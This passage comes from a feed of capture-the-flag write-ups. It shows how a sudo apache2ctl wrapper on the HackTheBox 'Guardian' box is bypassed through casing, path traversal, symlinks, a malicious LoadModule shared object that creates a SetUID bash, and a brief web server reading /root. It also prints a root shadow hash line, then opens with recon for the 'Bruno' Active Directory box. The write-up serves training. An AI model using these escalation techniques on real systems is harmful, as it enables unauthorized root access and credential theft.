        <span class="k">goto</span> <span class="n">LAB_00101423</span><span class="p">;</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">result</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">directive</span><span class="p">,</span><span class="s">"IncludeOptional"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_001013c6</span><span class="p">;</span>
    <span class="n">result</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">directive</span><span class="p">,</span><span class="s">"LoadModule"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_001013c6</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">is_unsafe</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="nl">LAB_00101423:</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">stack_canary</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">is_unsafe</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It reads the first two whitespace delimited strings from the line into <code class="language-plaintext highlighter-rouge">directive</code> and <code class="language-plaintext highlighter-rouge">directive_arg</code>. If the directive is <code class="language-plaintext highlighter-rouge">Include</code>, it attempts to make sure the arg is in <code class="language-plaintext highlighter-rouge">/home/mark/confs</code>. It tries the same block for <code class="language-plaintext highlighter-rouge">IncludeOptional</code> and <code class="language-plaintext highlighter-rouge">LoadModule</code>.</p>

<h3 id="bypassing-safeapache2ctl">Bypassing safeapache2ctl</h3>

<h4 id="strategy">Strategy</h4>

<p>There are <em>so</em> many issues with this binary. Aside from being completely unrealistic that someone would write a binary to do this, it has successfully identified three directives that could be dangerous, and then done almost nothing to actually stop me from using them.</p>

<p>The issues that immediately jumped out to me are:</p>

<ul>
  <li>It’s making case sensitive string checks where the directives are not case sensitive.</li>
  <li>It is trying to limit the directive directory but doesn’t check for <code class="language-plaintext highlighter-rouge">../</code>.</li>
  <li>It tries to validate that the second arg to <code class="language-plaintext highlighter-rouge">LoadModule</code> is in <code class="language-plaintext highlighter-rouge">/home/mark/confs</code> but the path to the module is the third arg.</li>
  <li>Even if that path was validated, there’s nothing stopping me from making a malicious module in <code class="language-plaintext highlighter-rouge">/home/mark/confs</code>.</li>
  <li>While the binary uses <code class="language-plaintext highlighter-rouge">realpath</code> to resolve symlinks on the config file, it doesn’t on the directive args, so symlinks can bypass.</li>
  <li>I can have it set up a webserver in any directory and read from it (for a short period of time).</li>
</ul>

<p>This all makes a mess of a set of paths to get to root:</p>

<pre><code class="language-mermaid">flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] ---&gt;|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] ---&gt;|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A--&gt;L(Web Server File Read);
    L--&gt;D;
    A[Shell as mark]--&gt;B(Case Sensitive\nCheck);
    B--&gt;C(Include File Read);
    C--&gt;D(root.txt);
    A--&gt;G(Directory Traversal);
    G--&gt;D;
    A--&gt;J(Symlink);
    J--&gt;C;
    J--&gt;I;
    A--&gt;H(Evil SO in confs\nChecks Wrong Arg);
    H--&gt;I(LoadModule);
    I--&gt;F[Shell as root];
    B--&gt;I;
    G--&gt;I;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 0,7,8 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
</code></pre>

<p>I’ll show each of the five identified issues with the binary, though not every combination.</p>

<p>It’s also worth noting that there’s an aggressive cleanup script clearing this directory every two minutes. That’s really bad box design on HTB’s part. There are multiple ways to get around the issue of players seeing each others’ config that don’t involve that.</p>

<h4 id="case-sensitivity">Case Sensitivity</h4>

<p>The check in the binary for the module name looks like:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">result</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">directive</span><span class="p">,</span><span class="s">"Include"</span><span class="p">);</span>
</code></pre></div></div>

<p>That’s a case-sensitive compare, but Apache directives are case insensitive. If I try to <code class="language-plaintext highlighter-rouge">Include /root/root.txt</code>, it will fail:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">cat </span>0xdf.conf 
<span class="go">LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so

Include /root/root.txt
</span><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl <span class="nt">-f</span> ./0xdf.conf 
<span class="go">[!] Blocked: /root/root.txt is outside of /home/mark/confs/
Blocked: Config includes unsafe directive.
</span></code></pre></div></div>

<p>But if I mess with the casing:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">cat </span>0xdf.conf 
<span class="go">LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so

InClUde /root/root.txt
</span><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl <span class="nt">-f</span> ./0xdf.conf 
<span class="go">AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command 'ef91575c************************', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
</span></code></pre></div></div>

<p>That’s file read of the first line of any file. That includes the root hash from <code class="language-plaintext highlighter-rouge">shadow</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">cat </span>0xdf.conf 
<span class="go">LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so

IncLude /etc/shadow
</span><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl <span class="nt">-f</span> ./0xdf.conf 
<span class="go">AH00526: Syntax error on line 1 of /etc/shadow:
</span><span class="gp">Invalid command 'root:$</span>y<span class="nv">$j9T$.</span>LTtSh52Jq1CcDWVjaIKJ/<span class="nv">$vwOpOiforFInjhHVs99EhL8xpt</span>.ITlODZVE/WoZaKT5:20308:0:99999:7:::<span class="s1">', perhaps misspelled or defined by a module not included in the server configuration
</span><span class="go">Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
</span></code></pre></div></div>

<p>The password doesn’t crack in <code class="language-plaintext highlighter-rouge">rockyou.txt</code>.</p>

<h4 id="directory-traversal">Directory Traversal</h4>

<p>The directory check on the second arg only checks that it starts with <code class="language-plaintext highlighter-rouge">/home/mark/confs</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">result</span> <span class="o">=</span> <span class="n">starts_with</span><span class="p">(</span><span class="n">directive_arg</span><span class="p">,</span><span class="s">"/home/mark/confs/"</span><span class="p">)</span>
</code></pre></div></div>

<p>So even if I use the cased “Include” that matches, I can use a directory traversal to go anywhere on the box:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">cat </span>0xdf.conf 
<span class="go">LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so

Include /home/mark/confs/../../../root/root.txt
</span><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl <span class="nt">-f</span> ./0xdf.conf 
<span class="go">AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command 'ef91575c************************', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
</span></code></pre></div></div>

<p>This gives first line file read as root through <code class="language-plaintext highlighter-rouge">Include</code>.</p>

<h4 id="symlinks">Symlinks</h4>

<p>The program never resolves links, so I can also just create a symlink pointing to the file I want to read:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">ln</span> <span class="nt">-s</span> /root/root.txt
<span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">cat </span>0xdf.conf 
<span class="go">LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so

Include /home/mark/confs/root.txt
</span><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl <span class="nt">-f</span> ./0xdf.conf 
<span class="go">AH00526: Syntax error on line 1 of /home/mark/confs/root.txt:
Invalid command 'ef91575c************************', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
</span></code></pre></div></div>

<p>This gives the same first line file read as the others.</p>

<h4 id="evil-module">Evil Module</h4>

<p>The way to get a shell on this box is to load a malicious library using <code class="language-plaintext highlighter-rouge">LoadModule</code>. The program tries to limit this to modules in <code class="language-plaintext highlighter-rouge">/home/mark/confs</code>. This isn’t really a limitation, as I can:</p>

<ul>
  <li>Just create a malicious shared object in that directory. OR</li>
  <li>Use any of the three bypasses above. OR</li>
  <li>It actually doesn’t matter because the path is the third argument not the second so the check doesn’t apply (which is why I am able to load the MPM module needed anyway).</li>
</ul>

<p>The directory requirement only applies if the first character of the arg is <code class="language-plaintext highlighter-rouge">/</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">directive_arg</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'/'</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">result</span> <span class="o">=</span> <span class="n">starts_with</span><span class="p">(</span><span class="n">directive_arg</span><span class="p">,</span><span class="s">"/home/mark/confs/"</span><span class="p">);</span>
</code></pre></div></div>

<p>I’ll create <code class="language-plaintext highlighter-rouge">evil.c</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span>
<span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span>
<span class="kt">void</span> <span class="nf">pwn</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"cp /bin/bash /tmp/0xdf &amp;&amp; chmod +s /tmp/0xdf"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I’ll compile it to a share library:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span>gcc <span class="nt">-shared</span> <span class="nt">-fPIC</span> <span class="nt">-o</span> evil.so evil.c
<span class="gp">mark@guardian:~/confs$</span><span class="w"> </span>file evil.so 
<span class="go">evil.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c2b027a5f09e9d4050d516bddfc3fb8d8fa50c20, not stripped
</span></code></pre></div></div>

<p>Now I set the configuration to load the module and it runs before erroring out, creating a SetUID copy of <code class="language-plaintext highlighter-rouge">bash</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">cat </span>0xdf.conf 
<span class="go">LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so

LoadModule evil /home/mark/confs/evil.so
</span><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl <span class="nt">-f</span> ./0xdf.conf 
<span class="go">apache2: Syntax error on line 3 of /home/mark/confs/0xdf.conf: Can't locate API module structure `evil' in file /home/mark/confs/evil.so: /home/mark/confs/evil.so: undefined symbol: evil
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
</span><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /tmp/0xdf 
<span class="go">-rwsr-sr-x 1 root root 1396520 Feb 25 21:54 /tmp/0xdf
</span></code></pre></div></div>

<p>I’ll run it with <code class="language-plaintext highlighter-rouge">-p</code> to not drop privs, giving a root shell that can read the flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span>/tmp/0xdf <span class="nt">-p</span>
<span class="go">0xdf-5.1# cat /root/root.txt
ef91575c************************
</span></code></pre></div></div>

<h4 id="web-server">Web Server</h4>

<p><code class="language-plaintext highlighter-rouge">apache2ctl</code>  will start a server for a brief period of time to make sure it works. I’ll need to define the basic configuration to read files from a server:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so

ServerName Test
DocumentRoot /root
LoadModule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so
Listen 9000
ErrorLog /tmp/apache_error.log
</code></pre></div></div>

<p>Now when I start this, the webserver will be up and listening for around ~5-10 seconds:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl <span class="nt">-f</span> ./0xdf.conf 
<span class="gp">mark@guardian:~/confs$</span><span class="w"> </span>netstat <span class="nt">-tnlp</span> | <span class="nb">grep </span>9000
<span class="go">(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:9000            0.0.0.0:*               LISTEN      -                   
</span><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span>curl localhost:9000/root.txt
<span class="go">ef91575c************************
</span></code></pre></div></div>

<p>From here I can read any file on the file system.</p>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-guardian" /><category term="pentest" /><category term="bug-bounty" /><category term="hackthebox" /><category term="htb-guardian" /><category term="ctf" /><category term="nmap" /><category term="ubuntu" /><category term="subdomain" /><category term="ffuf" /><category term="feroxbuster" /><category term="php" /><category term="idor" /><category term="gitea" /><category term="source-code" /><category term="xss" /><category term="phpspreadsheet" /><category term="cve-2025-22131" /><category term="xss-cookie" /><category term="csrf" /><category term="lfi" /><category term="php-filter" /><category term="php-filter-injection" /><category term="htb-updown" /><category term="htb-encoding" /><category term="htb-pollution" /><category term="htb-checker" /><category term="youtube" /><category term="hashcat" /><category term="vim" /><category term="netexec" /><category term="sudo" /><category term="ghidra" /><category term="reverse-engineering" /><category term="apache2ctl" /><category term="directory-traversal" /><category term="symlink" /><category term="shared-object" /><category term="mysql" /><category term="exiftool" /><category term="default-creds" /><category term="password-reuse" /><summary type="html"><![CDATA[Guardian is a Linux box hosting a university portal built with PHP. I’ll exploit an IDOR in the chat feature to find Gitea credentials, then use the source code to identify a vulnerability in PhpSpreadsheet that allows XSS through a malicious XLSX file to steal a lecturer’s session cookie. From the lecturer account, I’ll combine a CSRF vulnerability with a weak CSRF token implementation to create an admin account. As admin, I’ll abuse a local file include with PHP filter chain injection to get RCE. After cracking a database password hash, I’ll pivot through users by modifying a writable Python script. I’ll escalate to root abusing a silly binary wrapper around apache2ctl many ways.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xdf.gitlab.io/img/guardian-cover.png" /><media:content medium="image" url="https://0xdf.gitlab.io/img/guardian-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Bruno</title><link href="https://0xdf.gitlab.io/2026/02/24/htb-bruno.html" rel="alternate" type="text/html" title="HTB: Bruno" /><published>2026-02-24T10:00:00+00:00</published><updated>2026-02-24T10:00:00+00:00</updated><id>https://0xdf.gitlab.io/2026/02/24/htb-bruno</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/02/24/htb-bruno.html"><![CDATA[<picture>
    <source type="image/webp" srcset="/img/bruno-cover.webp" />
    <img loading="lazy" src="/img/bruno-cover.png" alt="Bruno" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Bruno is a Windows Active Directory box. I’ll start by finding a .NET sample scanning application on FTP, and after reverse engineering it, discover a ZipSlip vulnerability in how it handles zip archives. Combining that with a DLL hijack, I’ll get a shell as the service account that runs the scanner. For privilege escalation, I’ll exploit the lack of LDAP signing by performing a Kerberos relay attack, setting up resource-based constrained delegation to impersonate the Administrator.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/781 -->

<div class="htb-card platform-vulnlab">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/bruno" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-bruno.webp" />
          <img src="/icons/box-bruno.png" alt="Bruno" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/bruno" target="_blank" class="htb-box-name">Bruno</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1981012748520616376">21 Oct 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">21 Oct 2025</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Windows.webp" /><img src="/icons/Windows.png" alt="Windows" /></picture>
          Windows
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      
      <div class="htb-card-row htb-card-red">
        <span class="htb-card-label">Non-competitive release: no bloods</span>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/13569" target="_blank" rel="noopener"><img alt="xct" src="https://www.hackthebox.com/badge/image/13569" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> xct</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds 21 open TCP ports:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.238.9
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-19 02:26 UTC
...[snip]...
Nmap scan report for 10.129.238.9
Host is up, received echo-reply ttl 127 (0.024s latency).
Scanned at 2026-02-19 02:26:24 UTC for 13s
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
21/tcp    open  ftp              syn-ack ttl 127
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
443/tcp   open  https            syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49668/tcp open  unknown          syn-ack ttl 127
53361/tcp open  unknown          syn-ack ttl 127
56036/tcp open  unknown          syn-ack ttl 127
56041/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.47 seconds
           Raw packets sent: 131059 (5.767MB) | Rcvd: 32 (1.920KB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 21,53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,9389,49664,49668,53361,56036,56041 <span class="nt">-sCV</span> 10.129.238.9
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-19 02:28 UTC
Nmap scan report for 10.129.238.9
Host is up (0.022s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 06-29-22  04:55PM       &lt;DIR&gt;          app
| 06-29-22  04:33PM       &lt;DIR&gt;          benign
| 06-29-22  01:41PM       &lt;DIR&gt;          malicious
|_06-29-22  04:33PM       &lt;DIR&gt;          queue
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-19 02:27:45Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2026-02-19T02:29:18+00:00; -40s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after:  2105-10-09T09:54:08
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
|_ssl-date: TLS randomness does not represent time
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=bruno-BRUNODC-CA
| Not valid before: 2022-06-29T13:23:01
|_Not valid after:  2121-06-29T13:33:00
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn:
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2026-02-19T02:29:18+00:00; -40s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after:  2105-10-09T09:54:08
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after:  2105-10-09T09:54:08
|_ssl-date: 2026-02-19T02:29:18+00:00; -40s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2026-02-19T02:29:18+00:00; -40s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after:  2105-10-09T09:54:08
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-02-19T02:29:18+00:00; -40s from scanner time.
| ssl-cert: Subject: commonName=brunodc.bruno.vl
| Not valid before: 2025-10-08T09:36:40
|_Not valid after:  2026-04-09T09:36:40
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
53361/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
56036/tcp open  msrpc         Microsoft Windows RPC
56041/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: BRUNODC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-02-19T02:28:39
|_  start_date: N/A
|_clock-skew: mean: -40s, deviation: 0s, median: -40s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.09 seconds
</span></code></pre></div></div>

<p>The box shows many of the ports associated with a <a href="/cheatsheets/os#windows-domain-controller">Windows Domain Controller</a> as well as FTP (21), HTTP (80), and RDP (3389). The domain is <code class="language-plaintext highlighter-rouge">bruno.vl</code>, and the hostname is <code class="language-plaintext highlighter-rouge">brunodc</code>.</p>

<p>I’ll use <code class="language-plaintext highlighter-rouge">netexec</code> to make a <code class="language-plaintext highlighter-rouge">hosts</code> file entry and put it at the top of my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb 10.129.238.9 <span class="nt">--generate-hosts-file</span> hosts
<span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>hosts /etc/hosts | sponge /etc/hosts
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">head</span> <span class="nt">-1</span> /etc/hosts
<span class="go">10.129.238.9     BRUNODC.bruno.vl bruno.vl BRUNODC
</span></code></pre></div></div>

<p>All of the ports show a TTL of 127, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Windows one hop away.</p>

<p><code class="language-plaintext highlighter-rouge">nmap</code> notes a clock skew, so I’ll want to make sure to run <code class="language-plaintext highlighter-rouge">sudo ntpdate brunodc.bruno.vl</code> before any actions that use Kerberos auth.</p>

<h3 id="subdomain-fuzz">Subdomain Fuzz</h3>

<p>I’ll use <code class="language-plaintext highlighter-rouge">ffuf</code> to look for any subdomains on the webserver that respond differently from the default:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ffuf <span class="nt">-u</span> http://10.129.238.9 <span class="nt">-H</span> <span class="s2">"Host: FUZZ.bruno.vl"</span> <span class="nt">-w</span> /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt <span class="nt">-ac</span>
<span class="go">
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.238.9
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.bruno.vl
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

dev                     [Status: 200, Size: 2719, Words: 765, Lines: 96, Duration: 4906ms]
:: Progress: [19966/19966] :: Job [1/1] :: 961 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
</span></code></pre></div></div>

<p>I’ll update my <code class="language-plaintext highlighter-rouge">hosts</code> file to reflect this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.129.238.9     BRUNODC.bruno.vl bruno.vl BRUNODC dev.bruno.vl
</code></pre></div></div>

<h3 id="http---tcp-80">HTTP - TCP 80</h3>

<h4 id="site">Site</h4>

<p>The website is the default IIS page:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219072819230.webp" />
    <img loading="lazy" src="/img/image-20260219072819230.png" alt="image-20260219072819230" class="include_image " />
</picture>

<h4 id="tech-stack">Tech Stack</h4>

<p>The HTTP response headers show that it’s IIS, and that it’s running <code class="language-plaintext highlighter-rouge">ASP.NET</code>:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html</span>
<span class="na">Last-Modified</span><span class="p">:</span> <span class="s">Wed, 29 Jun 2022 13:28:53 GMT</span>
<span class="na">Accept-Ranges</span><span class="p">:</span> <span class="s">bytes</span>
